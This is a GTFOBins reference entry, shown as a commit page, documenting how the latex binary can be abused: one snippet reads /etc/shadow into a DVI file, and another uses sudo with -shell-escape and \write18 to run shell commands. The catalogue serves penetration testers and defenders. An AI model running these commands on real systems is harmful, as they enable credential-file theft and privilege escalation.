GTFOBins.github.io/_gtfobins/latex.md
SynackCerv 4017773b69
Create latex.md
Add latex.
2021-04-22 22:14:40 +02:00

662 B

description: latex is a symbolic link to pdftex. However the program does not have the same behaviour regarding the name of argv[0]. This is the same behaviour for xetex/xelatex. functions: file-read: - code: | echo "\documentclass[12pt]{article} \usepackage{verbatim} \begin{document} \verbatiminput{/etc/shadow} \end{document}" > read.tex latex read.tex strings read.dvi sudo: - code: | echo "\documentclass[12pt]{article} \begin{document} \immediate\write18{/usr/bin/whoami} \end{document}" > file.tex sudo latex -shell-escape file.tex